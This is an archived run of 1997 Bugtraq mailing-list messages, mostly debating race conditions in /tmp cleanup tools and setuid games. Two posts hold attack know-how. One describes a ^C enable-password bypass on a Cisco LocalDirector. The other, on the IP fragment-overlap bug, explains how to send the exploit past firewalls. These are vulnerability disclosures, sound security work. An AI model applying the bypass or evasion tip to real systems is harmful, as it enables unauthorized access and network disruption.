Received: (qmail 8494 invoked from network); 13 Nov 1997 19:17:00 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 13 Nov 1997 19:17:00 -0000
Received: by scylla.sovam.com id AA04775
(5.67b8s3p1/IDA-1.5 for [email protected]); Thu, 13 Nov 1997 21:24:59 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA04126
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Thu, 13 Nov 1997 21:17:02 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id XAA16774
for <[email protected]>; Thu, 13 Nov 1997 23:15:51 +0500 (ES)
Received: from [email protected] (port 12859 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <97619-16858>; Thu, 13 Nov 1997 11:58:11 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5617302 for [email protected]; Thu, 13 Nov 1997 11:56:38
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
LAA19688 for <[email protected]>; Thu, 13 Nov 1997 11:54:01 -0500
Received: from [email protected] (port 12859 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <96518-16859>; Thu, 13 Nov 1997
11:53:55 -0500
Approved-By: [email protected]
Received: from server07.icaen.uiowa.edu (server07.icaen.uiowa.edu
[128.255.17.47]) by netspace.org (8.8.7/8.8.2) with ESMTP id LAA18995
for <[email protected]>; Thu, 13 Nov 1997 11:48:53 -0500
Received: from server01.icaen.uiowa.edu ([email protected]
[128.255.17.41]) by server07.icaen.uiowa.edu (8.8.6/8.7.1) with ESMTP
id KAA01180; Thu, 13 Nov 1997 10:48:46 -0600 (CST)
Received: from l-ecn069.icaen.uiowa.edu ([email protected]
[128.255.17.189]) by server01.icaen.uiowa.edu (8.7.5/8.7.1) with
ESMTP id KAA01020; Thu, 13 Nov 1997 10:48:44 -0600 (CST)
Received: (from dsiebert@localhost) by l-ecn069.icaen.uiowa.edu
(8.7.6/client-6.1) id KAA08976; Thu, 13 Nov 1997 10:48:43 -0600 (CST)
X-Mailer: ELM [version 2.4 PL25]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Message-Id: <[email protected]>
Date: Thu, 13 Nov 1997 10:48:43 -0600
Reply-To: [email protected]
Sender: Bugtraq List <[email protected]>
From: [email protected]
Organization: Iowa Computer Aided Engineering Network, University of Iowa
Subject: Re: Safe /tmp cleanup
X-To: [email protected]
To: [email protected]
In-Reply-To: <[email protected]> from "Randal Schwartz" at Nov
13, 97 00:38:33 am
Status:
X-PMFLAGS: 34078848 0
>
> Delete all files that haven't been accessed in 1.5 days in /dir and /ect:
>
> find2perl /dir /ect -eval '-A > 1.5 and unlink' | perl
>
> Steven> The source for this program is 294 lines of C (including comments).
>
> And completely unnecessary, given the above perl command-line. :-)
>
> The output of this find2perl run is 17 lines of Perl, by the way.
>
> Steven> Enough care seems to have been taken to avoid race hazards
> Steven> and my limited examination of code satisfied me that there are
> Steven> no security problems with it. Specfically, the program does
> Steven> everything itself, it does not rely on an external program for
> Steven> any function which should eliminate problems associated with
> Steven> special characters and/or buffer overflows due to deep paths.
>
> Ditto on the find2perl solution.
>
> "find2perl" comes with all modern Perl releases.
>
> Perl is your friend. Use Perl.
>
Wrong. Check out this snippet from find.pl (from perl 5.003):
# Get link count and check for directoriness.
($dev,$ino,$mode,$nlink) = lstat($_) unless $nlink;
if (-d _) {
# It really is a directory, so do it recursively.
if (!$prune && chdir $_) {
&finddir($name,$nlink);
chdir '..';
}
--$subcount;
}
It "checks for directoriness", and if it is a directory it chdir's into it.
This does not do anything at all to prevent someone changing the name which
used to be a directory into a link to somewhere else in the meantime. You
have to assume an attacker can make your Perl script run arbitrarily slow
(not like this is hard with Perl in the first place) and therefore can do
bad things in between the lstat and the chdir. The modification to the
GNU find I wrote (hopefully) catches any such possible attack. I have not
looked at the RedHat thing Steven mentions, so I can't comment on how well
it does in this regard.
--
Douglas Siebert Director of Computing Facilities
[email protected] Division of Mathematical Sciences, U of Iowa
If you let the system beat you long enough, eventually it'll get tired.
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 13064 invoked from network); 14 Nov 1997 01:01:34 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 14 Nov 1997 01:01:34 -0000
Received: by scylla.sovam.com id AA23213
(5.67b8s3p1/IDA-1.5 for [email protected]); Fri, 14 Nov 1997 03:48:30 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA23196
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Fri, 14 Nov 1997 03:46:36 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id FAA29251
for <[email protected]>; Fri, 14 Nov 1997 05:45:39 +0500 (ES)
Received: from [email protected] (port 25452 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <81584-19080>; Thu, 13 Nov 1997 14:47:21 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5621762 for [email protected]; Thu, 13 Nov 1997 14:46:03
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
OAA16446 for <[email protected]>; Thu, 13 Nov 1997 14:45:42 -0500
Received: from [email protected] (port 25452 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <96902-19079>; Thu, 13 Nov 1997
14:44:27 -0500
Approved-By: [email protected]
Received: from april.dnaco.net (april.dnaco.net [207.238.206.9]) by
netspace.org (8.8.7/8.8.2) with ESMTP id NAA32419 for
<[email protected]>; Thu, 13 Nov 1997 13:21:10 -0500
Received: from picard.dnaco.net ([email protected] [207.238.206.4]) by
april.dnaco.net (8.8.5/8.8.5) with ESMTP id NAA07468; Thu, 13 Nov
1997 13:18:08 -0500 (EST)
Received: from localhost (kragen@localhost) by picard.dnaco.net (8.8.5/8.8.4)
with SMTP id MAA27019; Thu, 13 Nov 1997 12:19:37 -0500 (EST)
X-Authentication-Warning: picard.dnaco.net: kragen owned process doing -bs
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-Id: <[email protected]>
Date: Thu, 13 Nov 1997 12:19:34 -0500
Reply-To: "Kragen \"Skewed\" Sitaker" <[email protected]>
Sender: Bugtraq List <[email protected]>
From: "Kragen \"Skewed\" Sitaker" <[email protected]>
Subject: Re: Vunerability in Lizards game
X-To: Olaf Titz <[email protected]>
To: [email protected]
In-Reply-To: <[email protected]>
Status:
X-PMFLAGS: 34078848 0
On Thu, 13 Nov 1997, Olaf Titz wrote:
> Use "ioperm" <URL:http://www.inka.de/~bigred/sw/ioperm.txt>; to run any
> svgalib program (and more) without making them setuid. svgalib does properly
> support running with this tool for a long time now.
>
> There is no excuse at all for making any game setuid root.
Yes, but as you point out in your post, programs running with svgalib
under ioperm maintain an open fd to /dev/mem -- so if one can compromise
them, then one can get root, patch the kernel without getting root, or
whatever.
Kragen
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 8485 invoked from network); 13 Nov 1997 19:16:36 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 13 Nov 1997 19:16:36 -0000
Received: by scylla.sovam.com id AA04718
(5.67b8s3p1/IDA-1.5 for [email protected]); Thu, 13 Nov 1997 21:24:26 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA04102
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Thu, 13 Nov 1997 21:16:50 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id XAA16772
for <[email protected]>; Thu, 13 Nov 1997 23:15:21 +0500 (ES)
Received: from [email protected] (port 12859 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <81532-16861>; Thu, 13 Nov 1997 11:56:04 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5617168 for [email protected]; Thu, 13 Nov 1997 11:54:31
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
LAA19734 for <[email protected]>; Thu, 13 Nov 1997 11:54:22 -0500
Received: from [email protected] (port 12859 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <96813-16859>; Thu, 13 Nov 1997
11:54:17 -0500
Approved-By: [email protected]
Received: from quechua.inka.de (quechua.inka.de [193.197.84.5]) by netspace.org
(8.8.7/8.8.2) with SMTP id KAA04999 for <[email protected]>; Thu,
13 Nov 1997 10:05:11 -0500
Received: from uu.inka.de [193.197.84.8] by quechua.inka.de with smtp id
0xW0Pi-00083v-00; Thu, 13 Nov 1997 15:38:35 +0100
Received: from bigred.inka.de ([email protected]) by uu.inka.de with bsmtp
(S3.1.29.1) id <m0xW0Ph-000DkBC>; Thu, 13 Nov 97 15:38 MET
Received: (qmail 22433 invoked by alias); 13 Nov 1997 14:01:04 -0000
Message-Id: <[email protected]>
Date: Thu, 13 Nov 1997 15:01:00 +0100
Reply-To: Olaf Titz <[email protected]>
Sender: Bugtraq List <[email protected]>
From: Olaf Titz <[email protected]>
Organization: private Linux site, southern Germany
Subject: Re: Vunerability in Lizards game
To: [email protected]
In-Reply-To: <[email protected]>
Status:
X-PMFLAGS: 33554560 0
> Recently looking through the source of the suid root game called Lizards I
Why is this suid root? I assume it uses svgalib and the mistaken notion that
svgalib requires programs setuid root is still in every doc and HOWTO about
svgalib programming several years after this has been fixed.
Use "ioperm" <URL:http://www.inka.de/~bigred/sw/ioperm.txt>; to run any
svgalib program (and more) without making them setuid. svgalib does properly
support running with this tool for a long time now.
There is no excuse at all for making any game setuid root.
olaf
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 6239 invoked from network); 13 Nov 1997 17:01:37 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 13 Nov 1997 17:01:37 -0000
Received: by scylla.sovam.com id AA27323
(5.67b8s3p1/IDA-1.5 for [email protected]); Thu, 13 Nov 1997 19:54:36 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA26897
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Thu, 13 Nov 1997 19:50:44 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id VAA16187
for <[email protected]>; Thu, 13 Nov 1997 21:49:42 +0500 (ES)
Received: from [email protected] (port 12859 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <81373-16862>; Thu, 13 Nov 1997 10:54:57 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5615693 for [email protected]; Thu, 13 Nov 1997 10:53:51
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
KAA11340 for <[email protected]>; Thu, 13 Nov 1997 10:53:07 -0500
Received: from [email protected] (port 12859 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <81409-16858>; Thu, 13 Nov 1997
10:53:00 -0500
Approved-By: [email protected]
Received: from gadget.cscaper.com (gadget.cscaper.com [206.67.186.3]) by
netspace.org (8.8.7/8.8.2) with ESMTP id CAA07991 for
<[email protected]>; Thu, 13 Nov 1997 02:38:54 -0500
Received: (from merlyn@localhost) by gadget.cscaper.com (8.8.3/8.8.3) id
AAA20430; Thu, 13 Nov 1997 00:38:34 -0700 (MST)
References: <[email protected]>
Lines: 42
X-Mailer: Gnus v5.5/Emacs 19.34
Message-Id: <[email protected]>
Date: Thu, 13 Nov 1997 00:38:33 -0700
Reply-To: Randal Schwartz <[email protected]>
Sender: Bugtraq List <[email protected]>
From: Randal Schwartz <[email protected]>
Subject: Re: Safe /tmp cleanup
X-To: Steven Leikeim <[email protected]>
To: [email protected]
In-Reply-To: Steven Leikeim's message of "Wed, 12 Nov 1997 10:48:59 -0700"
Status:
X-PMFLAGS: 33554560 0
>>>>> "Steven" == Steven Leikeim <[email protected]> writes:
Steven> In Red Hat Linux 4.2, there is a package called tmpwatch. Here is the
Steven> first part of the man page:
Steven> NAME
Steven> tmpwatch - removes files which haven't been accessed for a period
Steven> of time
Steven> SYNOPSIS
Steven> tmpwatch [-fav] [--verbose] [--force] [--all] [--test] <hours>
Steven> <dirs>
Delete all files that haven't been accessed in 1.5 days in /dir and /ect:
find2perl /dir /ect -eval '-A > 1.5 and unlink' | perl
Steven> The source for this program is 294 lines of C (including comments).
And completely unnecessary, given the above perl command-line. :-)
The output of this find2perl run is 17 lines of Perl, by the way.
Steven> Enough care seems to have been taken to avoid race hazards
Steven> and my limited examination of code satisfied me that there are
Steven> no security problems with it. Specfically, the program does
Steven> everything itself, it does not rely on an external program for
Steven> any function which should eliminate problems associated with
Steven> special characters and/or buffer overflows due to deep paths.
Ditto on the find2perl solution.
"find2perl" comes with all modern Perl releases.
Perl is your friend. Use Perl.
--
Name: Randal L. Schwartz / Stonehenge Consulting Services (503)777-0095
Ключевые слова:Perl, training,, UNIX[tm], consulting,, video, production,, skiing,, flying, (найти похожие документы)
Email: <[email protected]> Snail: (Call) PGP-Key: (finger [email protected])
Web: <A HREF="http://www.stonehenge.com/merlyn/">My Home Page!</A>
Quote: "I'm telling you, if I could have five lines in my .sig, I would!" -- me
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 13065 invoked from network); 14 Nov 1997 01:01:34 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 14 Nov 1997 01:01:34 -0000
Received: by scylla.sovam.com id AA23271
(5.67b8s3p1/IDA-1.5 for [email protected]); Fri, 14 Nov 1997 03:52:50 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA23247
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Fri, 14 Nov 1997 03:50:29 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id FAA29264
for <[email protected]>; Fri, 14 Nov 1997 05:49:31 +0500 (ES)
Received: from [email protected] (port 25452 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <1369-19078>; Thu, 13 Nov 1997 15:06:35 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5621894 for [email protected]; Thu, 13 Nov 1997 15:00:15
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
OAA16419 for <[email protected]>; Thu, 13 Nov 1997 14:45:37 -0500
Received: from [email protected] (port 25452 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <96863-19079>; Thu, 13 Nov 1997
14:44:26 -0500
Approved-By: [email protected]
Received: from black-ice.cc.vt.edu (black-ice.cc.vt.edu [128.173.14.71]) by
netspace.org (8.8.7/8.8.2) with ESMTP id MAA27544 for
<[email protected]>; Thu, 13 Nov 1997 12:43:32 -0500
Received: from black-ice.cc.vt.edu (LOCALHOST [127.0.0.1]) by
black-ice.cc.vt.edu (8.8.8/8.8.8) with ESMTP id MAA28236; Thu, 13 Nov
1997 12:43:29 -0500
X-Url: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
%9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <[email protected]>
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_1875402210P"; micalg=pgp-md5;
protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Message-Id: <[email protected]>
Date: Thu, 13 Nov 1997 12:43:28 -0500
Reply-To: [email protected]
Sender: Bugtraq List <[email protected]>
From: Valdis Kletnieks <[email protected]>
Subject: Re: Safe /tmp cleanup
X-To: [email protected]
To: [email protected]
In-Reply-To: Your message of "Thu, 13 Nov 1997 10:48:43 CST."
<[email protected]>
Status:
X-PMFLAGS: 570949760 0
--==_Exmh_1875402210P
Content-Type: text/plain; charset=us-ascii
On Thu, 13 Nov 1997 10:48:43 CST, you said:
> > find2perl /dir /ect -eval '-A > 1.5 and unlink' | perl
> > Perl is your friend. Use Perl.
> Wrong. Check out this snippet from find.pl (from perl 5.003):
I can't help it if you're using old, outdated, buggy software. 5.004_01 came
out in May 97, current is 5.004_04.
> # Get link count and check for directoriness.
(code elided)
This code has been overhauled for 5.004. In particular, it now passes along
a 'wanted' function that can do any additional checking you desire.
> It "checks for directoriness", and if it is a directory it chdir's into it.
> This does not do anything at all to prevent someone changing the name which
> used to be a directory into a link to somewhere else in the meantime. You
You can use the 'wanted' function to do this checking.
However, Randal's one-liner passed the 'wanted' function '-A > 1.5 and unlink'
which does, in fact, do *no* checking of the type needed. However, the lstat
information of the *original* directory is available to the 'wanted' function,
and it can re-lstat the *current*, do compares of dev/inode pairs, and reject
if it's been changed.
Bottom line: find2perl *can* do it securely. But not with Randal's original
one-line solution.
--
Valdis Kletnieks
Computer Systems Senior Engineer
Virginia Tech
--==_Exmh_1875402210P
Content-Type: application/pgp-signature
-----BEGIN PGP MESSAGE-----
Version: 2.6.2
iQCVAwUBNGs8PtQBOOoptg9JAQFIogQAozaxBX5kUEMeJ6Em49eEJHOuIdSS1Du0
727Vialiqa00t4O7jvl/hL+hllI2e0ylwed4zAOLN/f+0xX1Aqs1iqXS0//qKmS5
7lZM/FRTnlDYX96TCHg29gf6uelhhnP+wZKLjORYrcCnnDtcxZ1bhcp1QPevB4u3
Urtnr0jtneA=
=VHXu
-----END PGP MESSAGE-----
--==_Exmh_1875402210P--
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 21447 invoked from network); 14 Nov 1997 09:46:44 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 14 Nov 1997 09:46:44 -0000
Received: by scylla.sovam.com id AA23582
(5.67b8s3p1/IDA-1.5 for [email protected]); Fri, 14 Nov 1997 10:50:22 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA22769
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Fri, 14 Nov 1997 10:45:25 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id MAA02025
for <[email protected]>; Fri, 14 Nov 1997 12:44:37 +0500 (ES)
Received: from [email protected] (port 25452 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <95983-20256>; Fri, 14 Nov 1997 01:19:04 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5637335 for [email protected]; Fri, 14 Nov 1997 01:18:02
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
BAA02341 for <[email protected]>; Fri, 14 Nov 1997 01:17:43 -0500
Received: from [email protected] (port 25452 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <80964-20255>; Fri, 14 Nov 1997
01:17:43 -0500
Approved-By: [email protected]
Received: from lacrosse.redhat.com (lacrosse.redhat.com [207.175.42.154]) by
netspace.org (8.8.7/8.8.2) with ESMTP id WAA11899 for
<[email protected]>; Thu, 13 Nov 1997 22:06:16 -0500
Received: from localhost (ewt@localhost) by lacrosse.redhat.com (8.8.5/8.8.7)
with SMTP id WAA27812 for <[email protected]>; Thu, 13 Nov 1997
22:06:11 -0500
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-Id: <[email protected]>
Date: Thu, 13 Nov 1997 22:06:11 -0500
Reply-To: Erik Troan <[email protected]>
Sender: Bugtraq List <[email protected]>
From: Erik Troan <[email protected]>
Subject: Re: Safe /tmp cleanup
To: [email protected]
In-Reply-To: <[email protected]>
Status:
X-PMFLAGS: 34078848 0
On Thu, 13 Nov 1997 [email protected] wrote:
> It "checks for directoriness", and if it is a directory it chdir's into it.
> This does not do anything at all to prevent someone changing the name which
> used to be a directory into a link to somewhere else in the meantime. You
> have to assume an attacker can make your Perl script run arbitrarily slow
> (not like this is hard with Perl in the first place) and therefore can do
> bad things in between the lstat and the chdir. The modification to the
> GNU find I wrote (hopefully) catches any such possible attack. I have not
> looked at the RedHat thing Steven mentions, so I can't comment on how well
> it does in this regard.
The "Red Hat thing" (I like the phrase, so I thought I'd quote it) does
indeed check to make sure it chdir()ed into the place it expected to via
st_dev and st_ino information.
While you can certainly do something just like this with perl, I wrote
the tmpwatch Red Hat uses in C because we don't like putting basic
system components in perl (or python, or tcl...). I don't feel like
arguing about perl, it's just a decision to keep a minimal Red Hat system
as small as possible.
tmpwatch is GPLed, in case anyone else cares to look at it.
Erik
-------------------------------------------------------------------------------
| "For the next two hours, VH1 will be filled with foul-mouthed, |
| crossdressing Australians. Viewer discretion is advised." |
| |
| Erik Troan = [email protected] = [email protected] |
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 21451 invoked from network); 14 Nov 1997 09:46:46 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 14 Nov 1997 09:46:46 -0000
Received: by scylla.sovam.com id AA23450
(5.67b8s3p1/IDA-1.5 for [email protected]); Fri, 14 Nov 1997 10:49:59 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA22912
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Fri, 14 Nov 1997 10:46:04 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id MAA02041
for <[email protected]>; Fri, 14 Nov 1997 12:45:00 +0500 (ES)
Received: from [email protected] (port 25452 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <97134-20257>; Fri, 14 Nov 1997 01:32:05 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5637322 for [email protected]; Fri, 14 Nov 1997 01:27:09
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
BAA02251 for <[email protected]>; Fri, 14 Nov 1997 01:15:43 -0500
Received: from [email protected] (port 25452 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <80964-20255>; Fri, 14 Nov 1997
01:15:43 -0500
Approved-By: [email protected]
Received: from bob.west.spy.net ([206.204.77.195]) by netspace.org
(8.8.7/8.8.2) with ESMTP id UAA01233 for <[email protected]>; Thu,
13 Nov 1997 20:37:55 -0500
Received: from bleu.west.spy.net (bleu.west.spy.net [206.204.77.194]) by
bob.west.spy.net (8.8.5/8.8.5) with ESMTP id RAA03221 for
<[email protected]>; Thu, 13 Nov 1997 17:38:45 -0800 (PST)
Posted-Date: Thu, 13 Nov 1997 17:38:45 -0800 (PST)
X-Bill: was right!
Received: from bleu.west.spy.net (bleu.west.spy.net [206.204.77.194]) by
bleu.west.spy.net (8.8.7/8.8.7) with SMTP id RAA06304 for
<[email protected]>; Thu, 13 Nov 1997 17:37:50 -0800 (PST)
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Message-Id: <[email protected]>
Date: Thu, 13 Nov 1997 17:37:50 -0800
Reply-To: Dustin Sallings <[email protected]>
Sender: Bugtraq List <[email protected]>
From: Dustin Sallings <[email protected]>
Subject: What to do when you forget your cisco LD password...
To: [email protected]
Status:
X-PMFLAGS: 34078848 0
If you're like me, you've got a lot of passwords to remember, and
sometimes, well, we forget. There's good news, though! For a limited time
only, you can enable on your cisco LocalDirector with the magic ^C password.
I noticed this on a 1.6.3 LocalDirector where I mistyped the enable
password by mistake and hit ^C to start over, but I didn't have to, took me
right in, and let me make my configuration changes. Later experimentation
showed that you don't even have to type in a partially invalid password, ^C
alone seems to do the trick in all cases we tried.
This does *not* seem to work for logging in, only enabling (YMMV).
* Workaround:
If you do, you probably shouldn't let people you don't trust with your
equipment on it in any way.
--
Taos Mountain TS My girlfriend asked me which one I like better.
pub 1024/3CAE01D5 1994/11/03 Dustin Sallings <[email protected]>
| Key fingerprint = 87 02 57 08 02 D0 DA D6 C8 0F 3E 65 51 98 D8 BE
L_______________________ I hope the answer won't upset her. ____________
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 1999 invoked from network); 15 Nov 1997 01:01:34 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 15 Nov 1997 01:01:34 -0000
Received: by scylla.sovam.com id AA20571
(5.67b8s3p1/IDA-1.5 for [email protected]); Sat, 15 Nov 1997 00:30:32 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AB20553
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Sat, 15 Nov 1997 00:29:03 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id CAA17497
for <[email protected]>; Sat, 15 Nov 1997 02:28:31 +0500 (ES)
Received: from [email protected] (port 17208 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <609-22952>; Fri, 14 Nov 1997 15:03:26 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5655713 for [email protected]; Fri, 14 Nov 1997 15:02:02
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
PAA19283 for <[email protected]>; Fri, 14 Nov 1997 15:01:17 -0500
Received: from [email protected] (port 17208 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <96356-22953>; Fri, 14 Nov 1997
15:01:11 -0500
Approved-By: [email protected]
Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by
netspace.org (8.8.7/8.8.2) with ESMTP id OAA17707 for
<[email protected]>; Fri, 14 Nov 1997 14:49:30 -0500
Received: from lightning.swansea.linux.org.uk
(the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged))
by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id TAA09834 for
<[email protected]>; Fri, 14 Nov 1997 19:49:27 GMT
Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2) id
m0xWRoY-0005FtC; Fri, 14 Nov 97 19:54 GMT
Message-Id: <[email protected]>
Date: Fri, 14 Nov 1997 19:54:00 GMT
Reply-To: Alan Cox <[email protected]>
Sender: Bugtraq List <[email protected]>
From: Alan Cox <[email protected]>
Subject: The overlapping fragment bug
To: [email protected]
Status:
X-PMFLAGS: 33554560 0
Well after some testing its quite effective against Linux [fix
available and will be in 2.0.32 as standard], NT, 95, Win 3.11
and also a couple of others it seems - DOS Novell TCP/IP and
PCNFS 4.0 (reportedly). BSD derived stacks, various routers, Solaris
MacOS and HP/UX all seem fine.
The actual exploit can also be slightly improved. Make it a tcp frame,
make the destination port 80 and it goes through most firewalls like
a bullet through cheese and seems to keep its effectiveness.
You can screen the stuff behind a firewall if your firewall reassembles
fragments (and is of course itself not vulnerable 8)).
Any news on the microsoft fix expected date/times ?
Alan
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: (qmail 27231 invoked from network); 16 Nov 1997 05:31:35 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 16 Nov 1997 05:31:35 -0000
Received: by scylla.sovam.com id AA12085
(5.67b8s3p1/IDA-1.5 for [email protected]); Sun, 16 Nov 1997 06:32:28 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA11957
(5.67b8s3p1/IDA-1.5 for <[email protected]>); Sun, 16 Nov 1997 06:30:10 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id IAA10887
for <[email protected]>; Sun, 16 Nov 1997 08:29:33 +0500 (ES)
Received: from [email protected] (port 14944 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <97078-29937>; Sat, 15 Nov 1997 21:00:12 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5670132 for [email protected]; Sat, 15 Nov 1997 20:59:01
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
UAA04333 for <[email protected]>; Sat, 15 Nov 1997 20:58:06 -0500
Received: from [email protected] (port 14944 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <81124-29938>; Sat, 15 Nov 1997
20:58:07 -0500
Approved-By: [email protected]
Received: from dfw.dfw.net (DFW.DFW.NET [198.175.15.10]) by netspace.org
(8.8.7/8.8.2) with SMTP id PAA29942 for <[email protected]>; Sat,
15 Nov 1997 15:03:35 -0500
Received: from localhost by dfw.dfw.net (4.1/SMI-4.1) id AA02473; Sat, 15 Nov
97 14:05:58 CST
